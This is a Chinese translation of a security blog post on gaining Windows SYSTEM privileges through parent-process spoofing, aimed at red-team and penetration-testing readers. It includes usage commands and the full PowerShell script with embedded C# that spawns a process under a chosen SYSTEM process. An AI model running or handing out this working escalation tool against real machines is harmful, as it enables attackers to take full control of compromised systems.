【安识译文系列】利用Powershell获取System权限

2018-02-07 14,207

powershell.png

充当红队(红蓝对抗)或者渗透测试活动的时候,能努力获取系统的System权限总是咱们的终极目标。System用户是个特殊的系统操作用户,具备高权限,非常方便后渗透的技术施展。 

当然,为获取System权限,你要么是administrators管理员组一员,要么使用一些特别的token窃取或伪造技术(例如:The lonely potato),要么通过一些未修补的漏洞利用等等姿势。

如果你有administrator 管理员权限,那么有一堆技术或者工具能帮你快速提权。最常用的估计就是来自Sysinternals出品大名鼎鼎的“psexec” , 当然也有其他的工具,譬如说基于命名管道或者令牌模拟的。我估摸着各位都用过meterpreter命令行下的“getsystem” 命令。

本文中我会告诉大家如何使用“父进程”技术。当然了,没啥新东西,我只是想通过简短精练的Powershell脚本就能实现一切功能。

先来灌输点理论知识:通常来说,当一个进程推出一个子进程,那么它本身就成为了子进程的父进程。然而从Windows Vista时代就可以通过技术手段去改变这个行为。如果我们创建一个新的进程,也设置为父进程属性,那么子进程将继承指定父进程的令牌。所以,如果我们创建一个新进程,把父进程的pid设置成具备System权限的进程,然后你懂的!

当然,为了能够从父进程句柄创建一个另外的进程,我们需要提示权限,通过采用管理员才有的seDebugPrivilege权限。当然得记住这个权限可用的条件是在已经提升特权的命令提示行下。使用下面命令验证一下:

PS>whoami /priv

shell1.png 

上面讲完的理论知识,下面我们来结合Windows API实现我们的提权小目标

首先我们需要在STARTUPINFO结构里创建一个属性,获取父System进程的句柄并且告知CreateProcess()去使用这些额外的信息。

使用C++或者C#应该相对简单,对powershell来说是个比较复杂的过程,所以我打算在我的my .ps1脚本里面嵌入C#。你知道的,可以从powershell里面执行C#代码。

脚本我已经开源到GitHub:https://github.com/decoder-it/psgetsystem (脚本已贴在文末

在一个较高权限的Powershell命令行下执行:

PS> . .\psgetsys.ps1
PS> [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)

shell2.png 

我们也可以在脚本末尾增加“auto invoke” :

Add-Type -TypeDefinition $mycode
[MyProcess]::CreateProcessFromParent($args[0],$args[1])

然后来引用它:

.\psgetsys.ps1 808 c:\windows\system32\cmd.exe

最后但同样重要问题:如果SeDebugPrivilege并没有开启怎么办? 


翻译者:安识科技小王子

翻译原文:《Getting SYSTEM》 https://decoder.cloud/2018/02/02/getting-system/

脚本:

#Simple powershell/C# to spawn a process under a different parent process 
#usage: import-module psgetsys.ps1;  [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
$mycode = @"
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
public class MyProcess
{
    [DllImport("kernel32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    static extern bool CreateProcess(
        string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
        ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);
    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UpdateProcThreadAttribute(
        IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
        IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool InitializeProcThreadAttributeList(
        IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFOEX
    {
        public STARTUPINFO StartupInfo;
        public IntPtr lpAttributeList;
    }
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }
    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
        public int nLength;
        public IntPtr lpSecurityDescriptor;
        public int bInheritHandle;
    }
public static void CreateProcessFromParent(int ppid, string command)
    {
        const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
        const uint CREATE_NEW_CONSOLE = 0x00000010;
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
        var pi = new PROCESS_INFORMATION();
        var si = new STARTUPINFOEX();
        si.StartupInfo.cb = Marshal.SizeOf(si);
        IntPtr lpValue = IntPtr.Zero;
        try
        {
            
            var lpSize = IntPtr.Zero;
            InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
            si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
            InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize);
            var phandle = Process.GetProcessById(ppid).Handle;
            lpValue = Marshal.AllocHGlobal(IntPtr.Size);
            Marshal.WriteIntPtr(lpValue, phandle);
            UpdateProcThreadAttribute(
                si.lpAttributeList,
                0,
                (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                lpValue,
                (IntPtr)IntPtr.Size,
                IntPtr.Zero,
                IntPtr.Zero);
            
                   
            var pattr = new SECURITY_ATTRIBUTES();
            var tattr = new SECURITY_ATTRIBUTES();
            pattr.nLength = Marshal.SizeOf(pattr);
            tattr.nLength = Marshal.SizeOf(tattr);
            Console.Write("Starting: " + command  + "...");
var b= CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
Console.WriteLine(b);
        }
        finally
        {
            
            if (si.lpAttributeList != IntPtr.Zero)
            {
                DeleteProcThreadAttributeList(si.lpAttributeList);
                Marshal.FreeHGlobal(si.lpAttributeList);
            }
            Marshal.FreeHGlobal(lpValue);
            
            if (pi.hProcess != IntPtr.Zero)
            {
                CloseHandle(pi.hProcess);
            }
            if (pi.hThread != IntPtr.Zero)
            {
                CloseHandle(pi.hThread);
            }
        }
    }
}
"@
 Add-Type -TypeDefinition $mycode
#Autoinvoke?
#MyProcess]::CreateProcessFromParent($args[0],$args[1])

本文作者:安识科技

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/68180.html

Tags:
评论  (3)
快来写下你的想法吧!

安识科技

文章数:190 积分: 135

安识科技:专业的企业安全解决方案提供商。官网:https://www.duoyinsu.com/

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号